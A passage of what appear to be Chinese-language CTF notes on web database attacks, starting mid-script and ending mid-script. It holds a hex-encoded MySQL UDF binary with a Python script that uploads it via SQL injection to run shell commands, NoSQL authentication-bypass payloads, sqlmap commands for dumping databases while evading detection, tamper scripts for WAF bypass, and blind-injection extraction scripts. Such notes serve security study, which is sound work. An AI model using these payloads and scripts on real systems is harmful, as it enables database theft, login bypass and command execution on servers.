2000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400"
for i in range(0,21510, 5000):
end = i + 5000
payload.append(udf[i:end])
p = dict(zip(text, payload))
# zip() 函数用于将可迭代的对象作为参数，将对象中对应的元素打包成一个个元组，然后返回由这些元组组成的列表。
for t in text:
url = base_url+"?id=';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t)
r = requests.get(url)
print(r.status_code)
next_url = base_url+"?id=';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&limit=10"
rn = requests.get(next_url)
#udf文件字符太大，为了绕过字符数限制，通过abcde五个文件分割再合并
uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#导入udf函数
r=requests.get(uaf_url)
nn_url = base_url+"?id=';select sys_eval('cat /flag.*');--+&page=1&limit=10"
rnn = requests.get(nn_url)
print(rnn.text)
### nosql注入（MongoDB）：
1.可以引起SQL攻击的语句：
1.重言式，永真式。在条件语句中注入代码,使表达式判定结果永真,从而绕过认证或访问机制。比如实际中用$ne操作(不相等)的语法让他们无需相应的凭证即可非法进入系统。
2.联合查询。最常用的用法是绕过认证页面获取数据。比如通过增加永真的表达式利用布尔OR运算符进行攻击,从而导致整个语句判定出错,进行非法的数据获取。
3.JavaScript注入。这是一种新的漏洞,由允许执行数据内容中JavaScript的NoSQL数据库引入的。JavaScript使在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入到这些查询中可以注入任意JavaScript代码,这会导致非法的数据获取或篡改。
4.背负式查询。在背负式查询中,攻击者通过利用转义特定字符(比如像回车和换行之类的结束符)插入由数据库额外执行的查询,这样就可以执行任意代码了。
5.跨域违规。HTTP REST APIs是NoSQL数据库中的一个流行模块,然而,它们引入了一类新的漏洞,它甚至能让攻击者从其他域攻击数据库。在跨域攻击中,攻击者利用合法用户和他们的网页浏览器执行有害的操作。在本文中,我们将展示此类跨站请求伪造(CSRF)攻击形式的违规行为,在此网站信任的用户浏览器将被利用在NoSQL数据库上执行非法操作。通过把HTML格式的代码注入到有漏洞的网站或者欺骗用户进入到攻击者自己的网站上,攻击者可以在目标数据库上执行post动作,从而破坏数据库。
2.MongoDB条件操作符
$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all
$or:or
$not: 反匹配(1.3.3及以上版本)
模糊查询用正则式：db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/
#实际例子
//查询age = 22的记录
db.userInfo.find({"age": 22});
//相当于：select * from userInfo where age = 22;
//查询age > 22的记录
db.userInfo.find({age: {$gt: 22}});
//相当于：select * from userInfo where age > 22;
3.最常见的绕过方式讲解
username=admin$password[$ne]=''
就变成查询用户用户admin并且密码不等于空，一旦，系统有admin用户，就可以绕过认证。当然，也可以修改user 不等于空字符或者某个字符例如：“1”，[username[$ne]=1$password[$ne]=1]这样就可以百分百绕过认证。
正则也是可以的
username[$regex]=.*&password[$regex]=.*
## sqlmap应用：
#初始流程，一般是从库名到表名到字段到数据
# 爆库名
-u http:///api/?id=1 --referer "xxx.com" --dbs
# 爆表名
-u http:///?id=1 --referer "xxx.com" -D database --tables
# 爆列名
-u http:///api/?id=1 --referer "xxx.com" -D database -T table --columns
# 爆字段
-u http:///api/?id=1 --referer "xxx.com" -D database -T table -C pass --dump
--referer=REFERER sqlmap可以在请求中伪造HTTP中的referer，当--level参数设定为3或者3以上的时候会尝试对referer注入
`referrer介绍`：
1.`referer`的正确拼法其实是是`referer`，是由拼写早期错误造成的，保持向后兼容
2.`referer`是`http`请求`header` 的一部分，当浏览器向`web`
服务器发送请求时，头信息里有包含`referrer`，它可以看到流量来源并且计算流量
3.有些服务器会读取`referer`来判断域名来源并进行拦截过滤
4.`referer`很容易伪造，所以容易绕过
#--data修改请求方式，实战不允许直接--dump拖库
sqlmap -u http:///api/ --data="id=1" --referer="xxx.com" --dump
--data=DATA 通过POST发送数据参数，sqlmap会像检测GET参数一样检测POST的参数。
#使用--method="PUT"时和--headers="Content-Type: text/plain"配合使用，否则按表单提交，put接收不到
sqlmap.py -u "http:///api/index.php" --method=PUT --data="id=1" --referer=xxx.com --headers="Content-Type: text/plain" --dbms=mysql -D database -T table -C pass --dump
#有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求，这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略，导致以后无法进行
#每次请求url/api/index.php之前需要先请求URL/api/getTokn.php
--safe-url 设置在测试目标地址前访问的安全链接，每隔一段时间都会去访问一下
--safe-freq 设置两次注入测试前访问安全链接的次数
#安全访问路径和请求配置用于伪造用户行为身份，列如有些模型会验证你得行为路径，可用此方法伪造行为，在攻击行为中夹杂正常访问行为，列如广告浏览，商品产看等
--cookie 设置HTTP Cookieheader 值
#cookie获得可考了使用XSS攻击和嗅探，劫持类攻击
--tamper 使用给定的脚本篡改注入数据
sqlmap.py -u http:///api/index.php --referer=xxx.com" --data="id=1" --cookie="s4bfpf9hdimap9vubriu6urdno" --method=PUT -headers="Content-Type:text/plain" --safe-url=http:///api/getToken.php" --safe-freq=1 --tamper=space2comment.py --dump
### tamper框架结构：
#temper框架结构
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW # 当前脚本调用优先等级
def dependencies(): # 声明当前脚本适用/不适用的范围，可以为空。
pass
def tamper(payload, **kwargs): # 用于篡改Payload、以及请求头的主要函数
return payload
#改进过的space2comment脚本
#!/usr/bin/env python
from lib.core.compat import xrange #xrange()函数返回的是一个生成器，函数形式为xrange(start, stop[, step])
from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数， LOWEST = -100，LOWER = -50
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/' 如果/**/被过滤也可以修改为其他等效的，如%0a，%09
Notes:
* Useful to bypass weak and bespoke web application firewalls
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False #依次为引号，双引号，初始位判断。
for i in xrange(len(payload)):
if not firstspace: #判断是否为初始位，如果是的进入内层if
if payload[i].isspace():
firstspace = True
retVal += "/**/" #如果是空格就转义，并且修改初始位，然后重新判断。
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:#必须前面没有\和"防止改变原来语句的意愿
retVal += "/**/"
continue
elif payload[i] == "=": #用like替代=
retVal += chr(0x0a)+'like'+chr(0x0a)
continue
retVal += payload[i]
return retVal
''''''''''''''''''''''''''''''''''''
#一次任务驱动型修改代码过程，这里面的是题目变换
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}#base64加密后倒置再base64加密，再倒置
function waf($str){
return preg_match('/ |\*/', $str);
}#过滤*和空格
''''''''''''''''''''''''''''''''''''
#!/usr/bin/env python
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs): #解密
payload = space2comment(payload)
retVal = ""
if payload:
retVal = base64.b64encode(payload[::-1].encode('utf-8'))# 取从后向前（相反）的元素，和题目中相同（也是相反）
retVal = base64.b64encode(retVal[::-1]).decode('utf-8')# 取从后向前（相反）的元素，和题目中相同（也是相反）
return retVal
def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == "*":
retVal += chr(0x31) #本来想试试换成其他的，结果网太卡了，先不试了，个人感觉这里无关紧要
continue
elif payload[i] == "=":
retVal += chr(0x0a)+'like'+chr(0x0a)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue
retVal += payload[i]
return retVal
### `--os-shell`在`sqlmap`中的使用条件和原理（`mysql`）：
一般利用是通过`sqlmap`写马，然后命令执行
* * *
1.`secure-file-priv`为空或者为指定路径，并能向网站中写入文件，针对`mysql`版本大于5.1
* 这个参数是用来限制`LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()`传到哪个指定目录的
* 如：当`secure_file_priv`的值为`/tmp/` ，表示限制`mysqld` 的导入|导出只能发生在`/tmp/`目录下
* `secure_file_priv`的值没有具体值时，表示不对`mysqld` 的导入|导出做限制，此时也最适合利用
* 通过`show global variables like '%secure%';`查看该参数
* 此开关默认为NULL，即不允许导入导出
原理是通过`udf`提权后执行命令
执行sqlmap '''''' --os-shell时sqlmap主要做的5件事：
1、连接Mysql数据库并且获取数据库版本。
2、检测是否为数据库dba。
3、检测sys_exec和sys_eval2个函数是否已经被创建了。
4、上传dll文件到对应目录。
5、用户退出时默认删除创建的sys_exec和sys_eval2个函数。
`mysql limit` 后方注入点
#首先先看mysql的语法
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[
FROM table_references #table_references 可以表示多张表的组合，指定数据源
[WHERE where_condition]
[GROUP BY {col_name | expr | position} #用来对查询结果做聚类
[ASC | DESC], ... [WITH ROLLUP]] #结果排序
[HAVING where_condition] #类似where进行结果过滤，不会使用优化，执行速度比where慢很多
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}] #限制返回结果
[PROCEDURE procedure_name(argument_list)] #处理结果集中的数据，逐渐废弃
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]
]
可以看到在`LIMIT`后面可以跟两个函数，``PROCEDURE` 和 `INTO`，`INTO`除非有写入`shell`的权限，否则是无法利用的
### 基本`select`流程框架:
使用PROCEDURE函数进行注入:
extractvalue(目标xml文档，xml路径):对XML文档进行查询的函数
?page=1&limit=7 procedure analyse(extractvalue(1,concat(666,database(),666)),1)
###
updatexml(目标xml文档，xml路径，更新的内容):更新xml文档的函数
?page=1&limit=7 procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1)
###
这些都是报错回显的方式，如果是没有回显的情况可以利用盲注，sleep在其中会过滤，需使用其他延时方式
## SQL盲注常用脚本模板：
其实写脚本的几件事就是先找到注入点，再通过标志判断语句是否成功执行，最后将结果拼接。
* * *
#1.二分法的时间盲注
import requests
url = "http:/api/v5.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32 #对于找flag来说可以优化到45 即-这里
tail = 127 #后面的数字不重要，因为访问到了就重置到下一轮了
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from flag_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
try:
r = requests.get(url + payload, timeout=0.5) #通过设置最大延迟来判断语句是否成功执行
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
#2.双重循环判断整体覆盖盲注
import requests
url = 'http:/select-waf.php'
flagstr = r"{abcdfeghijklmnopqrstuvwxyz-0123456789}" #r表示无转义
res = ""
for i in range(1,46): #46个是因为根据实际flag格式（45个字符）
for j in flagstr:
data = {
'tableName': f"(flag_user)where(substr(pass,{i},1))regexp('{j}')"
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 1;") > 0:
res += j
print(res)
break
#3.左/右连接盲注
import requests
url = "http:/select-waf.php"
flag = 'flag{'
for i in range(45):
if i <= 5: #flag的前几个字母固定了，所以可以适当过滤节省时间
continue
for j in range(45,127):#- 为45，只会出现数字字母且都在-之后
data = {
"tableName": f"flag_user as a right join flag_user as b on (substr(b.pass,{i},1)regexp(char({j})))" #createNum(i)可以替代数字
}#但on里面的语句成立的时候，返回一，也就是没有任何判断
r = requests.post(url,data=data)
if r.text.find("$user_count = 43;")>0: #提前通过左/右连接加上无判断数量得到正常放回时的count数量
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break
#4.检索字符串盲注脚本
import requests
url = "http:/api/"
strs = '{qwertyuiopasdfghjklzxcvbnm-0123456789}'
flag = "flag{"
for i in range(100):
for j in strs:
data = {
